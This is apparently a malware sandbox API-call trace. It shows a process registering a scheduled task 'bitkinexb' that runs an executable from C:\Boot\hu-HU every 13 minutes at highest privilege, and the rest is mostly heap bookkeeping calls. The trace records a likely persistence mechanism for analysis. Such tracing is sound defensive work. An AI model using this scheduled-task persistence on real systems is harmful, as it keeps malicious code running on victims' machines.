password=0x15cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0063.371] TaskScheduler:IUnknown:AddRef (This=0x42dee0) returned 0x2 [0063.371] TaskScheduler:ITaskService:GetFolder (in: This=0x42dee0, Path=0x0, ppFolder=0x15cd08 | out: ppFolder=0x15cd08*=0x237d10) returned 0x0 [0063.375] TaskScheduler:ITaskService:NewTask (in: This=0x42dee0, flags=0x0, ppDefinition=0x15cd00 | out: ppDefinition=0x15cd00*=0x237d60) returned 0x0 [0063.375] ITaskDefinition:get_Actions (in: This=0x237d60, ppActions=0x15cc80 | out: ppActions=0x15cc80*=0x237e20) returned 0x0 [0063.375] IActionCollection:Create (in: This=0x237e20, Type=0, ppAction=0x15cca0 | out: ppAction=0x15cca0*=0x236540) returned 0x0 [0063.376] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0063.376] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0063.376] lstrlenW (lpString=" ") returned 1 [0063.376] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.376] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0063.377] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0063.377] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0063.377] IUnknown:Release (This=0x236540) returned 0x1 [0063.377] IUnknown:Release (This=0x237e20) returned 0x1 [0063.377] ITaskDefinition:get_Triggers (in: This=0x237d60, ppTriggers=0x15c800 | out: ppTriggers=0x15c800*=0x237f60) returned 0x0 [0063.377] ITriggerCollection:Create (in: This=0x237f60, Type=1, ppTrigger=0x15c7f8 | out: ppTrigger=0x15c7f8*=0x2365b0) returned 0x0 [0063.377] lstrlenW (lpString="13") returned 2 [0063.377] _vsnwprintf (in: _Buffer=0x15c780, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x15c778 | out: _Buffer="PT13M") returned 5 [0063.377] ITrigger:get_Repetition (in: This=0x2365b0, ppRepeat=0x15c7f0 | out: ppRepeat=0x15c7f0*=0x236640) returned 0x0 [0063.377] IRepetitionPattern:put_Interval (This=0x236640, Interval="PT13M") returned 0x0 [0063.377] IUnknown:Release (This=0x236640) returned 0x1 [0063.377] _vsnwprintf (in: _Buffer=0x15c740, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x15c718 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0063.377] ITrigger:put_StartBoundary (This=0x2365b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0063.377] lstrlenW (lpString="") returned 0 [0063.377] lstrlenW (lpString="") returned 0 [0063.377] lstrlenW (lpString="") returned 0 [0063.378] lstrlenW (lpString="") returned 0 [0063.378] IUnknown:Release (This=0x2365b0) returned 0x1 [0063.378] IUnknown:Release (This=0x237f60) returned 0x1 [0063.378] ITaskDefinition:get_Settings (in: This=0x237d60, ppSettings=0x15cca0 | out: ppSettings=0x15cca0*=0x236320) returned 0x0 [0063.378] lstrlenW (lpString="") returned 0 [0063.378] IUnknown:Release (This=0x236320) returned 0x1 [0063.378] GetLocalTime (in: lpSystemTime=0x15cb58 | out: lpSystemTime=0x15cb58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2f, wMilliseconds=0x3a3)) [0063.378] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0063.378] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0063.378] GetUserNameW (in: lpBuffer=0x15cb80, pcbBuffer=0x15cb68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x15cb68) returned 1 [0063.379] ITaskDefinition:get_RegistrationInfo (in: This=0x237d60, ppRegistrationInfo=0x15cb50 | out: ppRegistrationInfo=0x15cb50*=0x237ea0) returned 0x0 [0063.379] IRegistrationInfo:put_Author (This=0x237ea0, Author="") returned 0x0 [0063.379] _vsnwprintf (in: _Buffer=0x15cb80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x15cb18 | out: _Buffer="2023-09-19T17:16:47") returned 19 [0063.379] IRegistrationInfo:put_Date (This=0x237ea0, Date="") returned 0x0 [0063.379] IUnknown:Release (This=0x237ea0) returned 0x1 [0063.379] malloc (_Size=0x18) returned 0x2366c0 [0063.379] free (_Block=0x2366c0) [0063.379] lstrlenW (lpString="") returned 0 [0063.380] ITaskDefinition:get_Principal (in: This=0x237d60, ppPrincipal=0x15cd70 | out: ppPrincipal=0x15cd70*=0x236490) returned 0x0 [0063.380] IPrincipal:put_RunLevel (This=0x236490, RunLevel=1) returned 0x0 [0063.380] IUnknown:Release (This=0x236490) returned 0x1 [0063.380] malloc (_Size=0x18) returned 0x2366c0 [0063.380] ITaskFolder:RegisterTaskDefinition (in: This=0x237d10, Path="bitkinexb", pDefinition=0x237d60, flags=6, UserId=0x15cdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x15ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15ed00, varVal2=0xfe), LogonType=3, sddl=0x15ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x15cd10 | out: ppTask=0x15cd10*=0x236860) returned 0x0 [0063.558] free (_Block=0x2366c0) [0063.558] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.558] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0063.558] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0063.558] GetProcessHeap () returned 0x320000 [0063.558] GetProcessHeap () returned 0x320000 [0063.558] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d730) returned 1 [0063.558] GetProcessHeap () returned 0x320000 [0063.558] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d730) returned 0xc [0063.559] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d730 | out: hHeap=0x320000) returned 1 [0063.559] GetProcessHeap () returned 0x320000 [0063.559] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x82) returned 0x359bf0 [0063.559] _vsnwprintf (in: _Buffer=0x15d450, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x15ccb8 | out: _Buffer="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n") returned 71 [0063.559] _fileno (_File=0x7feffe22ab0) returned -2 [0063.559] _errno () returned 0x234bb0 [0063.559] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0063.559] SetLastError (dwErrCode=0x6) [0063.559] lstrlenW (lpString="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n") returned 71 [0063.559] GetConsoleOutputCP () returned 0x0 [0063.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0063.559] GetConsoleOutputCP () returned 0x0 [0063.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0063.559] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0063.560] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0063.560] IUnknown:Release (This=0x236860) returned 0x0 [0063.560] TaskScheduler:IUnknown:Release (This=0x237d60) returned 0x0 [0063.560] TaskScheduler:IUnknown:Release (This=0x237d10) returned 0x0 [0063.560] TaskScheduler:IUnknown:Release (This=0x42dee0) returned 0x1 [0063.560] lstrlenW (lpString="") returned 0 [0063.560] lstrlenW (lpString="13") returned 2 [0063.560] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0063.560] GetProcessHeap () returned 0x320000 [0063.560] GetProcessHeap () returned 0x320000 [0063.560] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c480) returned 1 [0063.560] GetProcessHeap () returned 0x320000 [0063.560] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c480) returned 0x1fc [0063.562] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c480 | out: hHeap=0x320000) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335520) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335520) returned 0x6 [0063.562] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335520 | out: hHeap=0x320000) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d650) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d650) returned 0x16 [0063.562] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d650 | out: hHeap=0x320000) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d630) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d630) returned 0x18 [0063.562] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d630 | out: hHeap=0x320000) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cf00) returned 1 [0063.562] GetProcessHeap () returned 0x320000 [0063.562] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cf00) returned 0x20 [0063.563] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cf00 | out: hHeap=0x320000) returned 1 [0063.564] GetProcessHeap () returned 0x320000 [0063.564] GetProcessHeap () returned 0x320000 [0063.564] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c120) returned 1 [0063.564] GetProcessHeap () returned 0x320000 [0063.564] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c120) returned 0xa0 [0063.565] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c120 | out: hHeap=0x320000) returned 1 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bba0) returned 1 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bba0) returned 0x18 [0063.565] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bba0 | out: hHeap=0x320000) returned 1 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc60) returned 1 [0063.565] GetProcessHeap () returned 0x320000 [0063.565] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cc60) returned 0x20 [0063.566] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc60 | out: hHeap=0x320000) returned 1 [0063.566] GetProcessHeap () returned 0x320000 [0063.566] GetProcessHeap () returned 0x320000 [0063.566] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x339440) returned 1 [0063.566] GetProcessHeap () returned 0x320000 [0063.566] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339440) returned 0x3a [0063.567] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339440 | out: hHeap=0x320000) returned 1 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d670) returned 1 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d670) returned 0x18 [0063.567] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d670 | out: hHeap=0x320000) returned 1 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc30) returned 1 [0063.567] GetProcessHeap () returned 0x320000 [0063.567] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cc30) returned 0x20 [0063.568] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc30 | out: hHeap=0x320000) returned 1 [0063.568] GetProcessHeap () returned 0x320000 [0063.568] GetProcessHeap () returned 0x320000 [0063.568] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x3393f0) returned 1 [0063.569] GetProcessHeap () returned 0x320000 [0063.569] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x3393f0) returned 0x3c [0063.569] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3393f0 | out: hHeap=0x320000) returned 1 [0063.569] GetProcessHeap () returned 0x320000 [0063.569] GetProcessHeap () returned 0x320000 [0063.570] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d610) returned 1 [0063.570] GetProcessHeap () returned 0x320000 [0063.570] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d610) returned 0x18 [0063.570] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d610 | out: hHeap=0x320000) returned 1 [0063.570] GetProcessHeap () returned 0x320000 [0063.570] GetProcessHeap () returned 0x320000 [0063.570] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc00) returned 1 [0063.570] GetProcessHeap () returned 0x320000 [0063.570] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cc00) returned 0x20 [0063.571] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc00 | out: hHeap=0x320000) returned 1 [0063.571] GetProcessHeap () returned 0x320000 [0063.571] GetProcessHeap () returned 0x320000 [0063.571] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c460) returned 1 [0063.571] GetProcessHeap () returned 0x320000 [0063.571] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c460) returned 0xe [0063.571] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c460 | out: hHeap=0x320000) returned 1 [0063.571] GetProcessHeap () returned 0x320000 [0063.571] GetProcessHeap () returned 0x320000 [0063.572] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c440) returned 1 [0063.572] GetProcessHeap () returned 0x320000 [0063.572] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c440) returned 0x18 [0063.572] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c440 | out: hHeap=0x320000) returned 1 [0063.572] GetProcessHeap () returned 0x320000 [0063.572] GetProcessHeap () returned 0x320000 [0063.572] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335e30) returned 1 [0063.572] GetProcessHeap () returned 0x320000 [0063.572] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335e30) returned 0x20 [0063.573] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335e30 | out: hHeap=0x320000) returned 1 [0063.573] GetProcessHeap () returned 0x320000 [0063.573] GetProcessHeap () returned 0x320000 [0063.573] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bd20) returned 1 [0063.573] GetProcessHeap () returned 0x320000 [0063.573] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bd20) returned 0x208 [0063.574] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bd20 | out: hHeap=0x320000) returned 1 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb80) returned 1 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bb80) returned 0x18 [0063.574] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb80 | out: hHeap=0x320000) returned 1 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335d40) returned 1 [0063.574] GetProcessHeap () returned 0x320000 [0063.574] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335d40) returned 0x20 [0063.575] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335d40 | out: hHeap=0x320000) returned 1 [0063.575] GetProcessHeap () returned 0x320000 [0063.575] GetProcessHeap () returned 0x320000 [0063.575] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d3d0) returned 1 [0063.575] GetProcessHeap () returned 0x320000 [0063.575] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d3d0) returned 0x200 [0063.576] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d3d0 | out: hHeap=0x320000) returned 1 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bbc0) returned 1 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bbc0) returned 0x18 [0063.576] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bbc0 | out: hHeap=0x320000) returned 1 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335cb0) returned 1 [0063.576] GetProcessHeap () returned 0x320000 [0063.576] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335cb0) returned 0x20 [0063.577] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335cb0 | out: hHeap=0x320000) returned 1 [0063.577] GetProcessHeap () returned 0x320000 [0063.577] GetProcessHeap () returned 0x320000 [0063.577] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c330) returned 1 [0063.577] GetProcessHeap () returned 0x320000 [0063.577] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c330) returned 0x14 [0063.577] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c330 | out: hHeap=0x320000) returned 1 [0063.577] GetProcessHeap () returned 0x320000 [0063.577] GetProcessHeap () returned 0x320000 [0063.577] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c310) returned 1 [0063.577] GetProcessHeap () returned 0x320000 [0063.578] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c310) returned 0x18 [0063.578] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c310 | out: hHeap=0x320000) returned 1 [0063.578] GetProcessHeap () returned 0x320000 [0063.579] GetProcessHeap () returned 0x320000 [0063.579] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335bf0) returned 1 [0063.579] GetProcessHeap () returned 0x320000 [0063.579] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335bf0) returned 0x20 [0063.580] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335bf0 | out: hHeap=0x320000) returned 1 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c350) returned 1 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c350) returned 0x16 [0063.580] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c350 | out: hHeap=0x320000) returned 1 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c1d0) returned 1 [0063.580] GetProcessHeap () returned 0x320000 [0063.580] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c1d0) returned 0x18 [0063.581] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c1d0 | out: hHeap=0x320000) returned 1 [0063.581] GetProcessHeap () returned 0x320000 [0063.581] GetProcessHeap () returned 0x320000 [0063.581] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335bc0) returned 1 [0063.581] GetProcessHeap () returned 0x320000 [0063.581] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335bc0) returned 0x20 [0063.581] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335bc0 | out: hHeap=0x320000) returned 1 [0063.581] GetProcessHeap () returned 0x320000 [0063.581] GetProcessHeap () returned 0x320000 [0063.581] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb00) returned 1 [0063.582] GetProcessHeap () returned 0x320000 [0063.582] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bb00) returned 0x2 [0063.582] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb00 | out: hHeap=0x320000) returned 1 [0063.582] GetProcessHeap () returned 0x320000 [0063.582] GetProcessHeap () returned 0x320000 [0063.582] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335a10) returned 1 [0063.582] GetProcessHeap () returned 0x320000 [0063.582] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335a10) returned 0x20 [0063.582] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335a10 | out: hHeap=0x320000) returned 1 [0063.582] GetProcessHeap () returned 0x320000 [0063.583] GetProcessHeap () returned 0x320000 [0063.583] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335a40) returned 1 [0063.583] GetProcessHeap () returned 0x320000 [0063.583] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335a40) returned 0x20 [0063.583] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335a40 | out: hHeap=0x320000) returned 1 [0063.583] GetProcessHeap () returned 0x320000 [0063.583] GetProcessHeap () returned 0x320000 [0063.583] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335a70) returned 1 [0063.583] GetProcessHeap () returned 0x320000 [0063.583] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335a70) returned 0x20 [0063.584] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335a70 | out: hHeap=0x320000) returned 1 [0063.584] GetProcessHeap () returned 0x320000 [0063.584] GetProcessHeap () returned 0x320000 [0063.584] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335aa0) returned 1 [0063.584] GetProcessHeap () returned 0x320000 [0063.584] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335aa0) returned 0x20 [0063.585] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x320000) returned 1 [0063.585] GetProcessHeap () returned 0x320000 [0063.585] GetProcessHeap () returned 0x320000 [0063.585] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc90) returned 1 [0063.585] GetProcessHeap () returned 0x320000 [0063.585] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cc90) returned 0x20 [0063.585] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cc90 | out: hHeap=0x320000) returned 1 [0063.585] GetProcessHeap () returned 0x320000 [0063.586] GetProcessHeap () returned 0x320000 [0063.586] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d770) returned 1 [0063.586] GetProcessHeap () returned 0x320000 [0063.586] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d770) returned 0xa [0063.586] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d770 | out: hHeap=0x320000) returned 1 [0063.586] GetProcessHeap () returned 0x320000 [0063.586] GetProcessHeap () returned 0x320000 [0063.586] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ccc0) returned 1 [0063.586] GetProcessHeap () returned 0x320000 [0063.586] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ccc0) returned 0x20 [0063.587] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ccc0 | out: hHeap=0x320000) returned 1 [0063.587] GetProcessHeap () returned 0x320000 [0063.587] GetProcessHeap () returned 0x320000 [0063.587] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x337ba0) returned 1 [0063.587] GetProcessHeap () returned 0x320000 [0063.587] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x337ba0) returned 0x30 [0063.587] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x337ba0 | out: hHeap=0x320000) returned 1 [0063.587] GetProcessHeap () returned 0x320000 [0063.587] GetProcessHeap () returned 0x320000 [0063.587] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ccf0) returned 1 [0063.587] GetProcessHeap () returned 0x320000 [0063.588] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ccf0) returned 0x20 [0063.588] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ccf0 | out: hHeap=0x320000) returned 1 [0063.588] GetProcessHeap () returned 0x320000 [0063.588] GetProcessHeap () returned 0x320000 [0063.588] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x337be0) returned 1 [0063.588] GetProcessHeap () returned 0x320000 [0063.588] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x337be0) returned 0x30 [0063.589] 